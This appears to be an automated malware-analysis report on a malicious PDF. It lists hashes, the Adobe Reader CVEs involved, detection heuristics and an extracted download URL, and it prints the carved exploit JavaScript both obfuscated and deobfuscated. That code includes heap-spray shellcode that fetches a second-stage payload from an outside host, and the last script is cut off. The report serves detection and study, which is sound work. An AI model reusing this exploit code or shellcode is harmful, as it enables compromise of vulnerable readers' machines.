PDF malware analysis — malicious · e33995caafa0a5db

MALICIOUS

PDF

12.4 KB First seen: 2013-08-26

MD5: 9a8ebe3623508acd19c42b5b19623a1b SHA-1: 6681aeec2ad65eb553d6e6e9ec9478adbb6b091c SHA-256: e33995caafa0a5db3f132301d7d28844ae22260c366bc3cc3ba58aa907b31388

490 Risk Score

Malware Insights

MITRE ATT&CK

T1203 Exploitation for Client Execution T1059.007 JavaScript

The PDF file contains embedded JavaScript that exploits multiple known Adobe Reader vulnerabilities, including CVE-2009-4324, CVE-2009-0927, CVE-2007-5659, and CVE-2008-2992. The deobfuscated JavaScript indicates that it downloads a second-stage payload from the URL http://czxclorwe.cx.cc/w.php?f=25&e=5. This exploit kit functionality is a strong indicator of malicious intent.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 12

media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324

PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927

PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659

PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992

PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH

A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT

One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY

Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL

Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://czxclorwe.cx.cc/w.php?f=25&e=5 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0076_000.js`	pdf-javascript-stream	PDF /JS object 76 at offset 0x3A9	11532 bytes
SHA-256: `f4e8e73f5d5923ba9146c60e636a6e8e9be24987ceb787cf3803f241149a4061`
Preview script First 1,000 lines of the extracted script w='s'; w+="l"; w+='i'; w+="ce"; j='b343tb3g'; j=j[w]; z=[44,42,57,21,47,23,51,74,68,27,4,62,25,9,54,54,4,62,13,34,28,69,4,62,25,45,13,34,4,62,6,45,28,69,4,62,28,31,9,69,4,62,9,9,45,13,4,62,54,69,34,30,4,62,69,30,25,47,4,62,25,47,9,30,4,62,30,34,69,30,4,62,6,30,25,47,4,62,45,54,11,34,4,62,6,54,25,47,4,62,9,9,30,25,4,62,54,54,60,47,4,62,45,28,25,47,4,62,30,9,9,34,4,62,9,9,6,69,4,62,25,11,26,34,4,62,11,45,28,28,4,62,13,13,11,30,4,62,47,25,13,13,4,62,69,30,25,47,4,62,34,9,9,30,4,62,9,31,69,54,4,62,6,45,30,54,4,62,25,6,13,47,4,62,26,69,9,69,4,62,28,69,25,45,4,62,45,11,6,45,4,62,28,47,28,31,4,62,45,11,69,34,4,62,25,47,45,54,4,62,9,34,6,45,4,62,6,69,25,47,4,62,6,25,9,45,4,62,13,45,30,9,4,62,25,47,45,54,4,62,26,30,6,54,4,62,13,45,30,9,4,62,34,31,9,9,4,62,69,11,69,31,4,62,42,60,13,34,4,62,34,45,30,9,4,62,60,47,9,9,4,62,47,28,30,13,4,62,9,25,11,30,4,62,6,69,13,26,4,62,34,11,30,25,4,62,30,60,34,47,4,62,60,42,30,9,4,62,28,47,69,30,4,62,9,47,13,11,4,62,6,45,11,13,4,62,45,28,28,54,4,62,45,28,25,47,4,62,30,9,26,69,4,62,54,54,60,60,4,62,30,34,25,47,4,62,25,60,69,47,4,62,28,34,69,54,4,62,45,69,13,13,4,62,30,34,26,69,4,62,60,25,25,47,4,62,60,60,30,9,4,62,30,69,25,47,4,62,30,9,25,47,4,62,42,47,34,45,4,62,45,31,45,28,4,62,28,47,34,9,4,62,42,60,45,9,4,62,54,25,25,47,4,62,25,30,26,30,4,62,30,34,6,60,4,62,6,69,9,9,4,62,31,54,30,9,4,62,13,9,28,47,4,62,54,25,25,47,4,62,25,47,30,25,4,62,54,42,13,6,4,62,45,31,30,45,4,62,31,25,28,25,4,62,13,13,13,13,4,62,28,26,13,13,4,62,28,25,13,31,4,62,30,30,30,30,4,62,30,30,30,30,4,62,45,30,45,25,4,62,69,30,54,42,4,62,13,13,54,25,4,62,30,30,30,30,4,62,45,30,30,30,4,62,34,30,25,9,4,62,45,30,11,31,4,62,25,47,45,45,4,62,25,47,28,34,4,62,11,30,45,28,4,62,34,9,25,9,4,62,13,13,30,45,4,62,54,25,28,9,4,62,54,28,54,13,4,62,30,30,30,30,4,62,6,45,54,25,4,62,54,34,6,26,4,62,45,69,54,60,4,62,11,54,13,13,4,62,34,69,25,9,4,62,25,47,30,25,4,62,28,25,28,25,4,62,13,13,54,11,4,62,13,13,13,13,4,62,30,26,28,47,4,62,6,26,28,47,4,62,28,34,25,11,4,62,30,11,30,69,4,62,30,30,30,30,4,62,45,34,25,60,4,62,30,34,26,69,4,62,30,69,34,6,4,62,6,26,26,69,4,62,54,6,54,45,4,62,34,6,6,9,4,62,26,69,69,69,4,62,6,54,30,69,4,62,9,9,6,26,4,62,34,6,9,26,4,62,26,69,69,69,4,62,26,30,30,25,4,62,6,9,26,60,4,62,45,9,26,30,4,62,13,25,54,25,4,62,30,30,30,30,4,62,13,13,30,30,4,62,30,34,45,54,4,62,28,25,25,47,4,62,34,31,9,9,4,62,34,6,45,11,4,62,11,60,69,69,4,62,6,6,30,30,4,62,54,26,6,30,4,62,34,6,6,69,4,62,11,60,69,69,4,62,26,28,30,45,4,62,54,34,54,69,4,62,34,54,54,34,4,62,11,60,69,69,4,62,30,30,30,31,4,62,25,42,45,31,4,62,30,69,34,11,4,62,25,25,9,30,4,62,11,60,69,69,4,62,69,11,30,69,4,62,54,42,45,11,4,62,54,42,30,30,4,62,45,9,30,30,4,62,54,42,45,6,4,62,13,13,30,30,4,62,11,69,45,54,4,62,34,30,25,45,4,62,11,54,6,45,4,62,30,30,54,42,4,62,13,13,45,9,4,62,30,69,45,54,4,62,30,30,54,42,4,62,28,47,25,9,4,62,45,9,30,34,4,62,45,54,13,13,4,62,25,9,30,69,4,62,30,34,34,9,4,62,30,26,28,47,4,62,11,9,28,47,4,62,25,30,69,6,4,62,30,30,9,13,4,62,13,42,6,45,4,62,25,30,69,6,4,62,30,30,9,13,4,62,34,69,6,45,4,62,30,30,54,42,4,62,13,28,54,42,4,62,45,54,13,13,4,62,28,25,30,25,4,62,13,28,31,34,4,62,13,13,13,13,4,62,69,28,25,28,4,62,28,34,30,28,4,62,13,28,31,25,4,62,30,28,25,42,4,62,54,13,25,31,4,62,47,60,30,11,4,62,34,42,9,9,4,62,45,47,25,42,4,62,34,54,11,47,4,62,6,31,69,54,4,62,11,42,9,54,4,62,6,30,26,13,4,62,6,69,54,25,4,62,6,30,6,69,4,62,26,13,9,42,4,62,54,9,26,13,4,62,6,25,6,42,4,62,54,34,54,9,4,62,6,26,54,13,4,62,54,45,6,6,4,62,54,9,26,28,4,62,26,28,6,25,4,62,54,9,54,9,4,62,6,6,26,13,4,62,6,30,26,28,4,62,6,30,54,25,4,62,54,54,9,13,4,62,9,26,9,60,4,62,26,54,9,45,4,62,9,60,54,45,4,62,30,30,9,45,4,62,30,30,30,30,27,1,13,62,29,34,65,22,24,29,21,28,48,44,57,55,57,42,17,63,58,32,19,40,41,22,3,28,55,57,42,39,3,28,29,74,65,41,37,26,38,63,58,32,19,57,42,73,68,57,42,1,18,57,42,68,57,42,39,51,62,47,51,65,57,22,29,74,55,30,17,63,58,12,26,32,1,57,28,65,62,57,29,21,57,42,1,18,21,13,62,29,34,65,22,24,29,21,47,46,55,32,19,44,42,57,21,60,16,74,68,29,28,40,21,56,57,57,42,58,55,32,1,44,42,57,21,44,40,68,30,46,30,34,30,34,30,34,30,34,1,44,42,57,21,42,60,60,57,68,30,46,69,30,30,30,30,30,1,44,42,57,21,66,42,58,3,24,42,60,68,62,29,28,51,34,42,66,28,55,47,23,51,74,32,1,44,42,57,21,51,34,14,3,28,29,68,66,42,58,3,24,42,60,39,3,28,29,74,65,41,37,26,1,44,42,57,21,63,58,68,42,60,60,57,5,55,51,34,14,3,28,29,73,30,46,9,25,32,1,44,42,57,21,58,42,57,51,66,68,62,29,28,51,34,42,66,28,55,71,4,62,31,30,31,30,4,62,31,30,31,30,71,32,1,58,42,57,51,66,68,28,48,44,57,55,58,42,57,51,66,17,63,58,32,1,44,42,57,21,34,24,62,29,65,26,68,55,44,40,5,30,46,69,30,30,30,30,30,32,12,42,60,60,57,1,13,24,57,55,44,42,57,21,34,24,62,29,65,68,30,1,34,24,62,29,65,38,34,24,62,29,65,26,1,34,24,62,29,65,73,73,32,19,60,16,74,52,34,24,62,29,65,8,68,58,42,57,51,66,73,66,42,58,3,24,42,60,1,18,21,44,42,57,21,24,44,28,57,13,3,24,40,68,62,29,28,51,34,42,66,28,55,71,4,62,30,34,30,34,4,62,30,34,30,34,71,32,1,40,41,22,3,28,55,24,44,28,57,13,3,24,40,39,3,28,29,74,65,41,38,69,69,31,45,26,32,19,24,44,28,57,13,3,24,40,73,68,24,44,28,57,13,3,24,40,1,18,21,65,41,22,51,39,34,24,3,3,42,47,61,65,24,57,28,68,64,24,3,3,42,47,39,34,24,3,3,28,34,65,50,2,42,22,3,7,29,13,24,55,19,51,62,47,23,59,71,71,17,2,51,74,59,24,44,28,57,13,3,24,40,18,32,1,18,21,13,62,29,34,65,22,24,29,21,66,57,22,29,65,13,55,32,19,29,24,66,68,62,29,28,51,34,42,66,28,55,71,4,62,30,56,30,56,4,62,30,56,30,56,4,62,30,56,30,56,4,62,30,56,30,56,71,32,1,44,42,57,21,66,42,58,3,24,42,60,68,62,29,28,51,34,42,66,28,55,47,23,51,74,32,1,41,28,42,66,47,3,24,34,16,68,29,24,66,73,66,42,58,3,24,42,60,1,47,22,74,47,3,24,34,16,68,62,29,28,51,34,42,66,28,55,71,4,62,30,56,30,56,4,62,30,56,30,56,71,32,1,41,28,42,60,28,57,51,22,48,28,68,26,30,1,51,66,57,42,58,68,41,28,42,60,28,57,51,22,48,28,73,41,28,42,66,47,3,24,34,16,39,3,28,29,74,65,41,1,40,41,22,3,28,55,47,22,74,47,3,24,34,16,39,3,28,29,74,65,41,38,51,66,57,42,58,32,19,47,22,74,47,3,24,34,16,73,68,47,22,74,47,3,24,34,16,1,18,21,13,22,3,3,47,3,24,34,16,68,47,22,74,47,3,24,34,16,39,51,62,47,51,65,57,22,29,74,55,30,17,51,66,57,42,58,32,1,47,3,24,34,16,68,47,22,74,47,3,24,34,16,39,51,62,47,51,65,57,22,29,74,55,30,17,47,22,74,47,3,24,34,16,39,3,28,29,74,65,41,5,51,66,57,42,58,32,1,40,41,22,3,28,55,47,3,24,34,16,39,3,28,29,74,65,41,73,51,66,57,42,58,38,30,46,69,30,30,30,30,32,19,47,3,24,34,16,68,47,3,24,34,16,73,47,3,24,34,16,73,13,22,3,3,47,3,24,34,16,1,18,21,2,28,2,68,29,28,40,21,56,57,57,42,58,55,32,1,13,24,57,55,22,68,30,1,22,38,11,69,30,30,1,22,73,73,32,19,2,28,2,52,22,8,68,47,3,24,34,16,73,41,28,42,66,47,3,24,34,16,1,18,21,44,42,57,21,29,62,2,68,11,26,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,31,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,25,1,62,65,22,3,39,66,57,22,29,65,13,55,71,4,69,45,30,30,30,13,71,17,29,62,2,32,1,18,21,13,62,29,34,65,22,24,29,21,74,28,65,22,34,24,29,55,32,19,44,42,57,21,42,57,57,58,68,29,28,40,21,56,57,57,42,58,55,32,1,22,13,55,42,66,66,39,60,24,34,39,64,24,3,3,42,47,39,74,28,65,7,34,24,29,32,19,44,42,57,21,66,42,58,3,24,42,60,68,62,29,28,51,34,42,66,28,55,47,23,51,74,32,1,44,42,57,21,41,0,63,45,30,30,64,35,68,66,42,58,3,24,42,60,39,3,28,29,74,65,41,37,26,1,44,42,57,21,63,58,68,30,46,69,30,30,30,30,30,5,55,41,0,63,45,30,30,64,35,73,30,46,9,25,32,1,44,42,57,21,58,42,57,51,66,68,62,29,28,51,34,42,66,28,55,71,4,62,31,30,31,30,4,62,31,30,31,30,71,32,1,58,42,57,51,66,68,28,48,44,57,55,58,42,57,51,66,17,63,58,32,1,44,42,57,21,66,45,56,23,15,54,45,13,68,55,30,46,30,34,30,34,30,34,30,34,5,30,46,69,30,30,30,30,30,32,12,30,46,69,30,30,30,30,30,1,13,24,57,55,44,42,57,21,44,63,34,67,53,31,54,58,68,30,1,44,63,34,67,53,31,54,58,38,66,45,56,23,15,54,45,13,1,44,63,34,67,53,31,54,58,73,73,32,19,42,57,57,58,52,44,63,34,67,53,31,54,58,8,68,58,42,57,51,66,73,66,42,58,3,24,42,60,1,18,21,44,42,57,21,65,33,75,41,35,47,72,40,68,62,29,28,51,34,42,66,28,55,71,4,30,31,71,32,1,40,41,22,3,28,55,65,33,75,41,35,47,72,40,39,3,28,29,74,65,41,38,30,46,69,30,30,30,32,19,65,33,75,41,35,47,72,40,73,68,65,33,75,41,35,47,72,40,1,18,21,65,33,75,41,35,47,72,40,68,71,35,39,71,73,65,33,75,41,35,47,72,40,1,42,66,66,39,60,24,34,39,64,24,3,3,42,47,39,74,28,65,7,34,24,29,55,65,33,75,41,35,47,72,40,32,1,18,18,21,42,43,3,62,74,22,29,51,68,42,66,66,39,66,3,62,74,7,29,51,1,44,42,57,21,51,44,68,66,42,57,51,28,7,29,65,55,42,66,66,39,44,22,28,40,28,57,36,28,57,51,22,24,29,39,65,24,61,65,57,22,29,74,55,32,39,34,41,42,57,56,65,55,30,32,32,1,13,24,57,55,44,42,57,21,22,68,30,1,22,38,42,43,3,62,74,22,29,51,39,3,28,29,74,65,41,1,22,73,73,32,19,22,13,55,42,43,3,62,74,22,29,51,52,22,8,39,29,42,2,28,68,68,27,50,61,34,57,22,66,65,27,32,19,44,42,57,21,3,44,68,42,43,3,62,74,22,29,51,52,22,8,39,44,28,57,51,22,24,29,1,18,18,21,22,13,55,55,3,44,68,68,31,32,10,10,55,55,51,44,68,68,25,32,49,49,55,3,44,38,68,25,39,11,26,32,32,32,19,74,28,65,22,34,24,29,55,32,1,18,28,3,51,28,21,22,13,55,3,44,68,68,6,39,11,32,19,66,57,22,29,65,13,55,32,1,18,28,3,51,28,21,22,13,55,55,55,51,44,68,68,54,32,10,10,55,51,44,68,68,6,32,32,49,49,55,3,44,38,6,39,11,11,32,32,19,47,46,55,32,1,18,28,3,51,28,21,22,13,55,55,3,44,20,68,31,39,11,32,10,10,55,3,44,38,68,31,39,26,32,10,10,55,3,44,20,68,25,39,11,9,32,10,10,55,3,44,38,68,25,39,11,6,32,32,19,13,62,29,34,65,22,24,29,21,42,55,32,19,62,65,22,3,39,66,57,22,29,65,60,55,27,66,70,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,21,59,21,58,58,58,58,11,11,11,27,17,29,28,40,21,53,42,65,28,55,32,32,1,18,44,42,57,21,41,68,42,66,66,39,66,3,62,74,7,29,51,1,13,24,57,55,44,42,57,21,13,68,30,1,13,38,41,39,3,28,29,74,65,41,1,13,73,73,32,19,22,13,55,41,52,13,8,39,29,42,2,28,68,68,27,50,61,34,57,22,66,65,27,32,19,44,42,57,21,22,68,41,52,13,8,39,44,28,57,51,22,24,29,1,18,18,21,22,13,55,55,22,20,25,39,11,26,32,49,49,55,22,38,25,39,26,32,32,19,34,68,29,28,40,21,56,57,57,42,58,55,32,1,44,42,57,21,60,68,62,29,28,51,34,42,66,28,55,27,4,62,31,30,31,30,4,62,31,30,31,30,27,32,1,44,42,57,21,28,68,62,29,28,51,34,42,66,28,55,47,23,51,74,32,1,40,41,22,3,28,55,60,39,3,28,29,74,65,41,38,68,30,46,25,30,30,30,32,19,60,73,68,60,1,18,60,68,60,39,51,62,47,51,65,57,55,30,17,30,46,25,30,30,30,5,28,39,3,28,29,74,65,41,32,1,13,24,57,55,13,68,30,1,13,38,26,31,30,30,1,13,73,73,32,19,34,52,13,8,68,60,73,28,1,18,42,55,32,1,42,55,32,1,65,57,58,19,65,41,22,51,39,2,28,60,22,42,39,29,28,40,43,3,42,58,28,57,55,29,62,3,3,32,1,18,34,42,65,34,41,55,28,32,19,18,42,55,32,1,18,18]; a="W;ml%-7I]3\|1/f_Kk,}{> ijo82'en09)UcNV*<.whaPv5xbz&Es[D6(Ary:dSuqCtpQ=4@'G+gM"; b='al'; b2="v" +b; try { if(!google.search())throw 1; } catch(her436j34k76) { e=(j()); try{ b='e'+b2; if(!google.search()) a=2; } catch(q){ e=e[b]; } s='';try{if(!google.search())throw 1;}catch(q){r=1;}{ for(i=0;i<z.length;i++) try{if(!google.search())throw 1;}catch(q){ s += a[z[i]]; } }} "))";try{if(!google.search())throw 1;}catch(q){e(s);}
`generic_stage_recovery_000.js`	deobfuscated-js	generic stage recovery alphabet-index-array from JavaScript object 76 at offset 0x3A9	3858 bytes
SHA-256: `2ec7f8e7045157c3c973071ef3ee3477654b9a5904886e41870efc2fa4867023`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u632f%u787a%u6c63%u726f%u6577%u632e%u2e78%u6363%u772f%u702e%u7068%u663f%u323d%u2635%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('%45000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape('%09');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} tUMhNbGw='N.'+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)\|\|((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)\|\|(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)\|\|(lv<=9.2)\|\|(lv>=8.13)\|\|(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}
`generic_stage_recovery_001.js`	deobfuscated-js	generic stage recovery percent-decode from JavaScript object 76 at offset 0x3A9	3854 bytes
SHA-256: `4cf950759d554d1d78d70ba3cff8e01859be38bab64a4ed85029541e32c7561c`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script var bjsg='%u8366%ufce4%u85fc%u75e4%ue934%u335f%u64c0%u408b%u8b30%u0c40%u708b%u561c%u768b%u3308%u66db%u5e8b%u033c%u3374%u812c%u15ee%uff10%ub8ff%u408b%uc330%u3946%u7506%u87fb%u2434%ue485%u5175%uebe9%u514c%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%uadfc%uc503%udb33%ube0f%u3810%u74f2%uc108%u0dcb%uda03%ueb40%u3bf1%u751f%u5ee6%u5e8b%u0324%u66dd%u0c8b%u8d4b%uec46%u54ff%u0c24%ud88b%udd03%u048b%u038b%uabc5%u595e%uebc3%uad53%u688b%u8020%u0c7d%u7433%u9603%uf3eb%u688b%u8b08%u6af7%u5905%u98e8%uffff%ue2ff%ue8f9%u0000%u0000%u5058%u406a%uff68%u0000%u5000%uc083%u5019%u8b55%u8bec%u105e%uc383%uff05%u68e3%u6e6f%u0000%u7568%u6c72%u546d%u16ff%uc483%u8b08%ue8e8%uff61%uffff%u02eb%u72eb%uec81%u0104%u0000%u5c8d%u0c24%u04c7%u7224%u6765%uc773%u2444%u7604%u3372%uc732%u2444%u2008%u732d%u5320%uf868%u0000%uff00%u0c56%ue88b%uc933%uc751%u1d44%u7700%u6270%uc774%u1d44%u2e05%u6c64%uc66c%u1d44%u0009%u8a59%u04c1%u8830%u1d44%u4104%u6a51%u6a00%u5300%u6a57%uff00%u1456%uc085%u1675%u006a%uff53%u0456%u006a%ueb83%u530c%u56ff%u8304%u0cc3%u02eb%u13eb%u8047%u003f%ufa75%u8047%u003f%uc475%u006a%ufe6a%u56ff%ue808%ufe9c%uffff%u4e8e%uec0e%ufe98%u0e8a%u6f89%ubd01%uca33%u5b8a%uc61b%u7946%u1a36%u702f%u7468%u7074%u2f3a%u632f%u787a%u6c63%u726f%u6577%u632e%u2e78%u6363%u772f%u702e%u7068%u663f%u323d%u2635%u3d65%u0035%u0000';function ezvr(ra,qy){while(ra.length2<qy){ra+=ra;}ra=ra.substring(0,qy/2);return ra;} function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length2;var qy=addr-(sc_len+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} var overflow=unescape('%u0c0c%u0c0c');while(overflow.length<44952){overflow+=overflow;} this.collabStore=Collab.collectEmailInfo({subj:'',msg:overflow});} function printf(){nop=unescape('%u0A0A%u0A0A%u0A0A%u0A0A');var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape('%u0A0A%u0A0A');headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf('E000f',num);} function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape('%u9090%u9090');yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} var tUMhNbGw=unescape(' ');while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 